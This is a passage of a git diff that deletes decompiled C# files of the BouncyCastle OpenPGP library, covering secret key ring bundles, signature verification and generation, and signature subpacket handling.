Platform.ToUpperInvariant(text2); - } - if (matchPartial) - { - if (Platform.IndexOf(text2, userId) > -1) - { - list.Add(keyRing); - } - } - else if (text2.Equals(userId)) - { - list.Add(keyRing); - } - } - } - return new EnumerableProxy(list); - } - - public PgpSecretKey GetSecretKey(long keyId) - { - foreach (PgpSecretKeyRing keyRing in GetKeyRings()) - { - PgpSecretKey secretKey = keyRing.GetSecretKey(keyId); - if (secretKey != null) - { - return secretKey; - } - } - return null; - } - - public PgpSecretKeyRing GetSecretKeyRing(long keyId) - { - if (secretRings.Contains(keyId)) - { - return (PgpSecretKeyRing)secretRings[keyId]; - } - foreach (PgpSecretKeyRing keyRing in GetKeyRings()) - { - PgpSecretKey secretKey = keyRing.GetSecretKey(keyId); - if (secretKey != null) - { - return keyRing; - } - } - return null; - } - - public bool Contains(long keyID) - { - return GetSecretKey(keyID) != null; - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - BcpgOutputStream outStr2 = BcpgOutputStream.Wrap(outStr); - foreach (object item in order) - { - long num = (long)item; - PgpSecretKeyRing pgpSecretKeyRing = (PgpSecretKeyRing)secretRings[num]; - pgpSecretKeyRing.Encode(outStr2); - } - } - - public static PgpSecretKeyRingBundle AddSecretKeyRing(PgpSecretKeyRingBundle bundle, PgpSecretKeyRing secretKeyRing) - { - long keyId = secretKeyRing.GetPublicKey().KeyId; - if (bundle.secretRings.Contains(keyId)) - { - throw new ArgumentException("Collection already contains a key with a keyId for the passed in ring."); - } - IDictionary dictionary = Platform.CreateHashtable(bundle.secretRings); - IList list = Platform.CreateArrayList(bundle.order); - dictionary[keyId] = secretKeyRing; - list.Add(keyId); - return new PgpSecretKeyRingBundle(dictionary, list); - } - - public static PgpSecretKeyRingBundle RemoveSecretKeyRing(PgpSecretKeyRingBundle bundle, PgpSecretKeyRing secretKeyRing) - { - long keyId = secretKeyRing.GetPublicKey().KeyId; - if (!bundle.secretRings.Contains(keyId)) - { - throw new ArgumentException("Collection does not contain a key with a keyId for the passed in ring."); - } - IDictionary dictionary = Platform.CreateHashtable(bundle.secretRings); - IList list = Platform.CreateArrayList(bundle.order); - dictionary.Remove(keyId); - list.Remove(keyId); - return new PgpSecretKeyRingBundle(dictionary, list); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignature.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignature.cs deleted file mode 100644 index c33da4b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignature.cs +++ /dev/null @@ -1,343 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSignature -{ - public const int BinaryDocument = 0; - - public const int CanonicalTextDocument = 1; - - public const int StandAlone = 2; - - public const int DefaultCertification = 16; - - public const int NoCertification = 17; - - public const int CasualCertification = 18; - - public const int PositiveCertification = 19; - - public const int SubkeyBinding = 24; - - public const int PrimaryKeyBinding = 25; - - public const int DirectKey = 31; - - public const int KeyRevocation = 32; - - public const int SubkeyRevocation = 40; - - public const int CertificationRevocation = 48; - - public const int Timestamp = 64; - - private readonly SignaturePacket sigPck; - - private readonly int signatureType; - - private readonly TrustPacket trustPck; - - private ISigner sig; - - private byte lastb; - - public int Version => sigPck.Version; - - public PublicKeyAlgorithmTag KeyAlgorithm => sigPck.KeyAlgorithm; - - public HashAlgorithmTag HashAlgorithm => sigPck.HashAlgorithm; - - public int SignatureType => sigPck.SignatureType; - - public long KeyId => sigPck.KeyId; - - public DateTime CreationTime => DateTimeUtilities.UnixMsToDateTime(sigPck.CreationTime); - - public bool HasSubpackets - { - get - { - if (sigPck.GetHashedSubPackets() == null) - { - return sigPck.GetUnhashedSubPackets() != null; - } - return true; - } - } - - internal PgpSignature(BcpgInputStream bcpgInput) - : this((SignaturePacket)bcpgInput.ReadPacket()) - { - } - - internal PgpSignature(SignaturePacket sigPacket) - : this(sigPacket, null) - { - } - - internal PgpSignature(SignaturePacket sigPacket, TrustPacket trustPacket) - { - if (sigPacket == null) - { - throw new ArgumentNullException("sigPacket"); - } - sigPck = sigPacket; - signatureType = sigPck.SignatureType; - trustPck = trustPacket; - } - - private void GetSig() - { - sig = SignerUtilities.GetSigner(PgpUtilities.GetSignatureName(sigPck.KeyAlgorithm, sigPck.HashAlgorithm)); - } - - public bool IsCertification() - { - return IsCertification(SignatureType); - } - - public void InitVerify(PgpPublicKey pubKey) - { - lastb = 0; - if (sig == null) - { - GetSig(); - } - try - { - sig.Init(forSigning: false, pubKey.GetKey()); - } - catch (InvalidKeyException exception) - { - throw new PgpException("invalid key.", exception); - } - } - - public void Update(byte b) - { - if (signatureType == 1) - { - doCanonicalUpdateByte(b); - } - else - { - sig.Update(b); - } - } - - private void doCanonicalUpdateByte(byte b) - { - switch (b) - { - case 13: - doUpdateCRLF(); - break; - case 10: - if (lastb != 13) - { - doUpdateCRLF(); - } - break; - default: - sig.Update(b); - break; - } - lastb = b; - } - - private void doUpdateCRLF() - { - sig.Update(13); - sig.Update(10); - } - - public void Update(params byte[] bytes) - { - Update(bytes, 0, bytes.Length); - } - - public void Update(byte[] bytes, int off, int length) - { - if (signatureType == 1) - { - int num = off + length; - for (int i = off; i != num; i++) - { - doCanonicalUpdateByte(bytes[i]); - } - } - else - { - sig.BlockUpdate(bytes, off, length); - } - } - - public bool Verify() - { - byte[] signatureTrailer = GetSignatureTrailer(); - sig.BlockUpdate(signatureTrailer, 0, signatureTrailer.Length); - return sig.VerifySignature(GetSignature()); - } - - private void UpdateWithIdData(int header, byte[] idBytes) - { - Update((byte)header, (byte)(idBytes.Length >> 24), (byte)(idBytes.Length >> 16), (byte)(idBytes.Length >> 8), (byte)idBytes.Length); - Update(idBytes); - } - - private void UpdateWithPublicKey(PgpPublicKey key) - { - byte[] encodedPublicKey = GetEncodedPublicKey(key); - Update(153, (byte)(encodedPublicKey.Length >> 8), (byte)encodedPublicKey.Length); - Update(encodedPublicKey); - } - - public bool VerifyCertification(PgpUserAttributeSubpacketVector userAttributes, PgpPublicKey key) - { - UpdateWithPublicKey(key); - try - { - MemoryStream memoryStream = new MemoryStream(); - UserAttributeSubpacket[] array = userAttributes.ToSubpacketArray(); - foreach (UserAttributeSubpacket userAttributeSubpacket in array) - { - userAttributeSubpacket.Encode(memoryStream); - } - UpdateWithIdData(209, memoryStream.ToArray()); - } - catch (IOException exception) - { - throw new PgpException("cannot encode subpacket array", exception); - } - Update(sigPck.GetSignatureTrailer()); - return sig.VerifySignature(GetSignature()); - } - - public bool VerifyCertification(string id, PgpPublicKey key) - { - UpdateWithPublicKey(key); - UpdateWithIdData(180, Strings.ToUtf8ByteArray(id)); - Update(sigPck.GetSignatureTrailer()); - return sig.VerifySignature(GetSignature()); - } - - public bool VerifyCertification(PgpPublicKey masterKey, PgpPublicKey pubKey) - { - UpdateWithPublicKey(masterKey); - UpdateWithPublicKey(pubKey); - Update(sigPck.GetSignatureTrailer()); - return sig.VerifySignature(GetSignature()); - } - - public bool VerifyCertification(PgpPublicKey pubKey) - { - if (SignatureType != 32 && SignatureType != 40) - { - throw new InvalidOperationException("signature is not a key signature"); - } - UpdateWithPublicKey(pubKey); - Update(sigPck.GetSignatureTrailer()); - return sig.VerifySignature(GetSignature()); - } - - [Obsolete("Use 'CreationTime' property instead")] - public DateTime GetCreationTime() - { - return CreationTime; - } - - public byte[] GetSignatureTrailer() - { - return sigPck.GetSignatureTrailer(); - } - - public PgpSignatureSubpacketVector GetHashedSubPackets() - { - return createSubpacketVector(sigPck.GetHashedSubPackets()); - } - - public PgpSignatureSubpacketVector GetUnhashedSubPackets() - { - return createSubpacketVector(sigPck.GetUnhashedSubPackets()); - } - - private PgpSignatureSubpacketVector createSubpacketVector(SignatureSubpacket[] pcks) - { - if (pcks != null) - { - return new PgpSignatureSubpacketVector(pcks); - } - return null; - } - - public byte[] GetSignature() - { - MPInteger[] signature = sigPck.GetSignature(); - if (signature != null) - { - if (signature.Length == 1) - { - return signature[0].Value.ToByteArrayUnsigned(); - } - try - { - return new DerSequence(new DerInteger(signature[0].Value), new DerInteger(signature[1].Value)).GetEncoded(); - } - catch (IOException exception) - { - throw new PgpException("exception encoding DSA sig.", exception); - } - } - return sigPck.GetSignatureBytes(); - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStream) - { - BcpgOutputStream bcpgOutputStream = BcpgOutputStream.Wrap(outStream); - bcpgOutputStream.WritePacket(sigPck); - if (trustPck != null) - { - bcpgOutputStream.WritePacket(trustPck); - } - } - - private byte[] GetEncodedPublicKey(PgpPublicKey pubKey) - { - try - { - return pubKey.publicPk.GetEncodedContents(); - } - catch (IOException exception) - { - throw new PgpException("exception preparing key.", exception); - } - } - - public static bool IsCertification(int signatureType) - { - switch (signatureType) - { - case 16: - case 17: - case 18: - case 19: - return true; - default: - return false; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureGenerator.cs deleted file mode 100644 index c7bfbb3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureGenerator.cs +++ /dev/null @@ -1,292 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Bcpg.Sig; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSignatureGenerator -{ - private static readonly SignatureSubpacket[] EmptySignatureSubpackets = new SignatureSubpacket[0]; - - private PublicKeyAlgorithmTag keyAlgorithm; - - private HashAlgorithmTag hashAlgorithm; - - private PgpPrivateKey privKey; - - private ISigner sig; - - private IDigest dig; - - private int signatureType; - - private byte lastb; - - private SignatureSubpacket[] unhashed = EmptySignatureSubpackets; - - private SignatureSubpacket[] hashed = EmptySignatureSubpackets; - - public PgpSignatureGenerator(PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm) - { - this.keyAlgorithm = keyAlgorithm; - this.hashAlgorithm = hashAlgorithm; - dig = DigestUtilities.GetDigest(PgpUtilities.GetDigestName(hashAlgorithm)); - sig = SignerUtilities.GetSigner(PgpUtilities.GetSignatureName(keyAlgorithm, hashAlgorithm)); - } - - public void InitSign(int sigType, PgpPrivateKey key) - { - InitSign(sigType, key, null); - } - - public void InitSign(int sigType, PgpPrivateKey key, SecureRandom random) - { - privKey = key; - signatureType = sigType; - try - { - ICipherParameters parameters = key.Key; - if (random != null) - { - parameters = new ParametersWithRandom(key.Key, random); - } - sig.Init(forSigning: true, parameters); - } - catch (InvalidKeyException exception) - { - throw new PgpException("invalid key.", exception); - } - dig.Reset(); - lastb = 0; - } - - public void Update(byte b) - { - if (signatureType == 1) - { - doCanonicalUpdateByte(b); - } - else - { - doUpdateByte(b); - } - } - - private void doCanonicalUpdateByte(byte b) - { - switch (b) - { - case 13: - doUpdateCRLF(); - break; - case 10: - if (lastb != 13) - { - doUpdateCRLF(); - } - break; - default: - doUpdateByte(b); - break; - } - lastb = b; - } - - private void doUpdateCRLF() - { - doUpdateByte(13); - doUpdateByte(10); - } - - private void doUpdateByte(byte b) - { - sig.Update(b); - dig.Update(b); - } - - public void Update(params byte[] b) - { - Update(b, 0, b.Length); - } - - public void Update(byte[] b, int off, int len) - { - if (signatureType == 1) - { - int num = off + len; - for (int i = off; i != num; i++) - { - doCanonicalUpdateByte(b[i]); - } - } - else - { - sig.BlockUpdate(b, off, len); - dig.BlockUpdate(b, off, len); - } - } - - public void SetHashedSubpackets(PgpSignatureSubpacketVector hashedPackets) - { - hashed = ((hashedPackets == null) ? EmptySignatureSubpackets : hashedPackets.ToSubpacketArray()); - } - - public void SetUnhashedSubpackets(PgpSignatureSubpacketVector unhashedPackets) - { - unhashed = ((unhashedPackets == null) ? EmptySignatureSubpackets : unhashedPackets.ToSubpacketArray()); - } - - public PgpOnePassSignature GenerateOnePassVersion(bool isNested) - { - return new PgpOnePassSignature(new OnePassSignaturePacket(signatureType, hashAlgorithm, keyAlgorithm, privKey.KeyId, isNested)); - } - - public PgpSignature Generate() - { - SignatureSubpacket[] array = hashed; - SignatureSubpacket[] array2 = unhashed; - if (!packetPresent(hashed, SignatureSubpacketTag.CreationTime)) - { - array = insertSubpacket(array, new SignatureCreationTime(critical: false, DateTime.UtcNow)); - } - if (!packetPresent(hashed, SignatureSubpacketTag.IssuerKeyId) && !packetPresent(unhashed, SignatureSubpacketTag.IssuerKeyId)) - { - array2 = insertSubpacket(array2, new IssuerKeyId(critical: false, privKey.KeyId)); - } - int num = 4; - byte[] array4; - try - { - MemoryStream memoryStream = new MemoryStream(); - for (int i = 0; i != array.Length; i++) - { - array[i].Encode(memoryStream); - } - byte[] array3 = memoryStream.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(array3.Length + 6); - memoryStream2.WriteByte((byte)num); - memoryStream2.WriteByte((byte)signatureType); - memoryStream2.WriteByte((byte)keyAlgorithm); - memoryStream2.WriteByte((byte)hashAlgorithm); - memoryStream2.WriteByte((byte)(array3.Length >> 8)); - memoryStream2.WriteByte((byte)array3.Length); - memoryStream2.Write(array3, 0, array3.Length); - array4 = memoryStream2.ToArray(); - } - catch (IOException exception) - { - throw new PgpException("exception encoding hashed data.", exception); - } - sig.BlockUpdate(array4, 0, array4.Length); - dig.BlockUpdate(array4, 0, array4.Length); - array4 = new byte[6] - { - (byte)num, - 255, - (byte)(array4.Length >> 24), - (byte)(array4.Length >> 16), - (byte)(array4.Length >> 8), - (byte)array4.Length - }; - sig.BlockUpdate(array4, 0, array4.Length); - dig.BlockUpdate(array4, 0, array4.Length); - byte[] encoding = sig.GenerateSignature(); - byte[] array5 = DigestUtilities.DoFinal(dig); - byte[] fingerprint = new byte[2] - { - array5[0], - array5[1] - }; - MPInteger[] signature = ((keyAlgorithm == PublicKeyAlgorithmTag.RsaSign || keyAlgorithm == PublicKeyAlgorithmTag.RsaGeneral) ? PgpUtilities.RsaSigToMpi(encoding) : PgpUtilities.DsaSigToMpi(encoding)); - return new PgpSignature(new SignaturePacket(signatureType, privKey.KeyId, keyAlgorithm, hashAlgorithm, array, array2, fingerprint, signature)); - } - - public PgpSignature GenerateCertification(string id, PgpPublicKey pubKey) - { - UpdateWithPublicKey(pubKey); - UpdateWithIdData(180, Strings.ToUtf8ByteArray(id)); - return Generate(); - } - - public PgpSignature GenerateCertification(PgpUserAttributeSubpacketVector userAttributes, PgpPublicKey pubKey) - { - UpdateWithPublicKey(pubKey); - try - { - MemoryStream memoryStream = new MemoryStream(); - UserAttributeSubpacket[] array = userAttributes.ToSubpacketArray(); - foreach (UserAttributeSubpacket userAttributeSubpacket in array) - { - userAttributeSubpacket.Encode(memoryStream); - } - UpdateWithIdData(209, memoryStream.ToArray()); - } - catch (IOException exception) - { - throw new PgpException("cannot encode subpacket array", exception); - } - return Generate(); - } - - public PgpSignature GenerateCertification(PgpPublicKey masterKey, PgpPublicKey pubKey) - { - UpdateWithPublicKey(masterKey); - UpdateWithPublicKey(pubKey); - return Generate(); - } - - public PgpSignature GenerateCertification(PgpPublicKey pubKey) - { - UpdateWithPublicKey(pubKey); - return Generate(); - } - - private byte[] GetEncodedPublicKey(PgpPublicKey pubKey) - { - try - { - return pubKey.publicPk.GetEncodedContents(); - } - catch (IOException exception) - { - throw new PgpException("exception preparing key.", exception); - } - } - - private bool packetPresent(SignatureSubpacket[] packets, SignatureSubpacketTag type) - { - for (int i = 0; i != packets.Length; i++) - { - if (packets[i].SubpacketType == type) - { - return true; - } - } - return false; - } - - private SignatureSubpacket[] insertSubpacket(SignatureSubpacket[] packets, SignatureSubpacket subpacket) - { - SignatureSubpacket[] array = new SignatureSubpacket[packets.Length + 1]; - array[0] = subpacket; - packets.CopyTo(array, 1); - return array; - } - - private void UpdateWithIdData(int header, byte[] idBytes) - { - Update((byte)header, (byte)(idBytes.Length >> 24), (byte)(idBytes.Length >> 16), (byte)(idBytes.Length >> 8), (byte)idBytes.Length); - Update(idBytes); - } - - private void UpdateWithPublicKey(PgpPublicKey key) - { - byte[] encodedPublicKey = GetEncodedPublicKey(key); - Update(153, (byte)(encodedPublicKey.Length >> 8), (byte)encodedPublicKey.Length); - Update(encodedPublicKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureList.cs deleted file mode 100644 index e3c6b3d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureList.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSignatureList : PgpObject -{ - private PgpSignature[] sigs; - - public PgpSignature this[int index] => sigs[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => sigs.Length; - - public int Count => sigs.Length; - - public bool IsEmpty => sigs.Length == 0; - - public PgpSignatureList(PgpSignature[] sigs) - { - this.sigs = (PgpSignature[])sigs.Clone(); - } - - public PgpSignatureList(PgpSignature sig) - { - sigs = new PgpSignature[1] { sig }; - } - - [Obsolete("Use 'object[index]' syntax instead")] - public PgpSignature Get(int index) - { - return this[index]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketGenerator.cs deleted file mode 100644 index 6ec6883..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketGenerator.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Bcpg.Sig; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSignatureSubpacketGenerator -{ - private IList list = Platform.CreateArrayList(); - - public void SetRevocable(bool isCritical, bool isRevocable) - { - list.Add(new Revocable(isCritical, isRevocable)); - } - - public void SetExportable(bool isCritical, bool isExportable) - { - list.Add(new Exportable(isCritical, isExportable)); - } - - public void SetFeature(bool isCritical, byte feature) - { - list.Add(new Features(isCritical, feature)); - } - - public void SetTrust(bool isCritical, int depth, int trustAmount) - { - list.Add(new TrustSignature(isCritical, depth, trustAmount)); - } - - public void SetKeyExpirationTime(bool isCritical, long seconds) - { - list.Add(new KeyExpirationTime(isCritical, seconds)); - } - - public void SetSignatureExpirationTime(bool isCritical, long seconds) - { - list.Add(new SignatureExpirationTime(isCritical, seconds)); - } - - public void SetSignatureCreationTime(bool isCritical, DateTime date) - { - list.Add(new SignatureCreationTime(isCritical, date)); - } - - public void SetPreferredHashAlgorithms(bool isCritical, int[] algorithms) - { - list.Add(new PreferredAlgorithms(SignatureSubpacketTag.PreferredHashAlgorithms, isCritical, algorithms)); - } - - public void SetPreferredSymmetricAlgorithms(bool isCritical, int[] algorithms) - { - list.Add(new PreferredAlgorithms(SignatureSubpacketTag.PreferredSymmetricAlgorithms, isCritical, algorithms)); - } - - public void SetPreferredCompressionAlgorithms(bool isCritical, int[] algorithms) - { - list.Add(new PreferredAlgorithms(SignatureSubpacketTag.PreferredCompressionAlgorithms, isCritical, algorithms)); - } - - public void SetKeyFlags(bool isCritical, int flags) - { - list.Add(new KeyFlags(isCritical, flags)); - } - - public void SetSignerUserId(bool isCritical, string userId) - { - if (userId == null) - { - throw new ArgumentNullException("userId"); - } - list.Add(new SignerUserId(isCritical, userId)); - } - - public void SetSignerUserId(bool isCritical, byte[] rawUserId) - { - if (rawUserId == null) - { - throw new ArgumentNullException("rawUserId"); - } - list.Add(new SignerUserId(isCritical, isLongLength: false, rawUserId)); - } - - public void SetEmbeddedSignature(bool isCritical, PgpSignature pgpSignature) - { - byte[] encoded = pgpSignature.GetEncoded(); - byte[] array = ((encoded.Length - 1 <= 256) ? new byte[encoded.Length - 2] : new byte[encoded.Length - 3]); - Array.Copy(encoded, encoded.Length - array.Length, array, 0, array.Length); - list.Add(new EmbeddedSignature(isCritical, isLongLength: false, array)); - } - - public void SetPrimaryUserId(bool isCritical, bool isPrimaryUserId) - { - list.Add(new PrimaryUserId(isCritical, isPrimaryUserId)); - } - - public void SetNotationData(bool isCritical, bool isHumanReadable, string notationName, string notationValue) - { - list.Add(new NotationData(isCritical, isHumanReadable, notationName, notationValue)); - } - - public void SetRevocationReason(bool isCritical, RevocationReasonTag reason, string description) - { - list.Add(new RevocationReason(isCritical, reason, description)); - } - - public void SetRevocationKey(bool isCritical, PublicKeyAlgorithmTag keyAlgorithm, byte[] fingerprint) - { - list.Add(new RevocationKey(isCritical, RevocationKeyTag.ClassDefault, keyAlgorithm, fingerprint)); - } - - public void SetIssuerKeyID(bool isCritical, long keyID) - { - list.Add(new IssuerKeyId(isCritical, keyID)); - } - - public PgpSignatureSubpacketVector Generate() - { - SignatureSubpacket[] array = new SignatureSubpacket[list.Count]; - for (int i = 0; i < list.Count; i++) - { - array[i] = (SignatureSubpacket)list[i]; - } - return new PgpSignatureSubpacketVector(array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketVector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketVector.cs deleted file mode 100644 index 4aee3e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSignatureSubpacketVector.cs +++ /dev/null @@ -1,212 +0,0 @@ -using System; -using Org.BouncyCastle.Bcpg.Sig; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSignatureSubpacketVector -{ - private readonly SignatureSubpacket[] packets; - - [Obsolete("Use 'Count' property instead")] - public int Size => packets.Length; - - public int Count => packets.Length; - - internal PgpSignatureSubpacketVector(SignatureSubpacket[] packets) - { - this.packets = packets; - } - - public SignatureSubpacket GetSubpacket(SignatureSubpacketTag type) - { - for (int i = 0; i != packets.Length; i++) - { - if (packets[i].SubpacketType == type) - { - return packets[i]; - } - } - return null; - } - - public bool HasSubpacket(SignatureSubpacketTag type) - { - return GetSubpacket(type) != null; - } - - public SignatureSubpacket[] GetSubpackets(SignatureSubpacketTag type) - { - int num = 0; - for (int i = 0; i < packets.Length; i++) - { - if (packets[i].SubpacketType == type) - { - num++; - } - } - SignatureSubpacket[] array = new SignatureSubpacket[num]; - int num2 = 0; - for (int j = 0; j < packets.Length; j++) - { - if (packets[j].SubpacketType == type) - { - array[num2++] = packets[j]; - } - } - return array; - } - - public NotationData[] GetNotationDataOccurrences() - { - SignatureSubpacket[] subpackets = GetSubpackets(SignatureSubpacketTag.NotationData); - NotationData[] array = new NotationData[subpackets.Length]; - for (int i = 0; i < subpackets.Length; i++) - { - array[i] = (NotationData)subpackets[i]; - } - return array; - } - - [Obsolete("Use 'GetNotationDataOccurrences' instead")] - public NotationData[] GetNotationDataOccurences() - { - return GetNotationDataOccurrences(); - } - - public long GetIssuerKeyId() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.IssuerKeyId); - if (subpacket != null) - { - return ((IssuerKeyId)subpacket).KeyId; - } - return 0L; - } - - public bool HasSignatureCreationTime() - { - return GetSubpacket(SignatureSubpacketTag.CreationTime) != null; - } - - public DateTime GetSignatureCreationTime() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.CreationTime); - if (subpacket == null) - { - throw new PgpException("SignatureCreationTime not available"); - } - return ((SignatureCreationTime)subpacket).GetTime(); - } - - public long GetSignatureExpirationTime() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.ExpireTime); - if (subpacket != null) - { - return ((SignatureExpirationTime)subpacket).Time; - } - return 0L; - } - - public long GetKeyExpirationTime() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.KeyExpireTime); - if (subpacket != null) - { - return ((KeyExpirationTime)subpacket).Time; - } - return 0L; - } - - public int[] GetPreferredHashAlgorithms() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.PreferredHashAlgorithms); - if (subpacket != null) - { - return ((PreferredAlgorithms)subpacket).GetPreferences(); - } - return null; - } - - public int[] GetPreferredSymmetricAlgorithms() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.PreferredSymmetricAlgorithms); - if (subpacket != null) - { - return ((PreferredAlgorithms)subpacket).GetPreferences(); - } - return null; - } - - public int[] GetPreferredCompressionAlgorithms() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.PreferredCompressionAlgorithms); - if (subpacket != null) - { - return ((PreferredAlgorithms)subpacket).GetPreferences(); - } - return null; - } - - public int GetKeyFlags() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.KeyFlags); - if (subpacket != null) - { - return ((KeyFlags)subpacket).Flags; - } - return 0; - } - - public string GetSignerUserId() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.SignerUserId); - if (subpacket != null) - { - return ((SignerUserId)subpacket).GetId(); - } - return null; - } - - public bool IsPrimaryUserId() - { - return ((PrimaryUserId)GetSubpacket(SignatureSubpacketTag.PrimaryUserId))?.IsPrimaryUserId() ?? false; - } - - public SignatureSubpacketTag[] GetCriticalTags() - { - int num = 0; - for (int i = 0; i != packets.Length; i++) - { - if (packets[i].IsCritical()) - { - num++; - } - } - SignatureSubpacketTag[] array = new SignatureSubpacketTag[num]; - num = 0; - for (int j = 0; j != packets.Length; j++) - { - if (packets[j].IsCritical()) - { - array[num++] = packets[j].SubpacketType; - } - } - return array; - } - - public Features GetFeatures() - { - SignatureSubpacket subpacket = GetSubpacket(SignatureSubpacketTag.Features); - if (subpacket == null) - { - return null; - } - return new Features(subpacket.IsCritical(), subpacket.IsLongLength(), subpacket.GetData()); - } - - internal SignatureSubpacket[] ToSubpacketArray() - { - return packets; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVector.cs deleted file mode 100644 index e0fc16a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVector.cs +++ /dev/null @@ -1,75 +0,0 @@ -using Org.BouncyCastle.Bcpg.Attr; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpUserAttributeSubpacketVector -{ - private readonly UserAttributeSubpacket[] packets; - - internal PgpUserAttributeSubpacketVector(UserAttributeSubpacket[] packets) - { - this.packets = packets; - } - - public UserAttributeSubpacket GetSubpacket(UserAttributeSubpacketTag type) - { - for (int i = 0; i != packets.Length; i++) - { - if (packets[i].SubpacketType == type) - { - return packets[i]; - } - } - return null; - } - - public ImageAttrib GetImageAttribute() - { - UserAttributeSubpacket subpacket = GetSubpacket(UserAttributeSubpacketTag.ImageAttribute); - if (subpacket != null) - { - return (ImageAttrib)subpacket; - } - return null; - } - - internal UserAttributeSubpacket[] ToSubpacketArray() - { - return packets; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is PgpUserAttributeSubpacketVector pgpUserAttributeSubpacketVector)) - { - return false; - } - if (pgpUserAttributeSubpacketVector.packets.Length != packets.Length) - { - return false; - } - for (int i = 0; i != packets.Length; i++) - { - if (!pgpUserAttributeSubpacketVector.packets[i].Equals(packets[i])) - { - return false; - } - } - return true; - } - - public override int GetHashCode() - { - int num = 0; - UserAttributeSubpacket[] array = packets; - foreach (object obj in array) - { - num ^= obj.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVectorGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVectorGenerator.cs deleted file mode 100644 index a4f4c6a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUserAttributeSubpacketVectorGenerator.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Bcpg.Attr; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpUserAttributeSubpacketVectorGenerator -{ - private IList list = Platform.CreateArrayList(); - - public virtual void SetImageAttribute(ImageAttrib.Format imageType, byte[] imageData) - { - if (imageData == null) - { - throw new ArgumentException("attempt to set null image", "imageData"); - } - list.Add(new ImageAttrib(imageType, imageData)); - } - - public virtual PgpUserAttributeSubpacketVector Generate() - { - UserAttributeSubpacket[] array = new UserAttributeSubpacket[list.Count]; - for (int i = 0; i < list.Count; i++) - { - array[i] = (UserAttributeSubpacket)list[i]; - } - return new 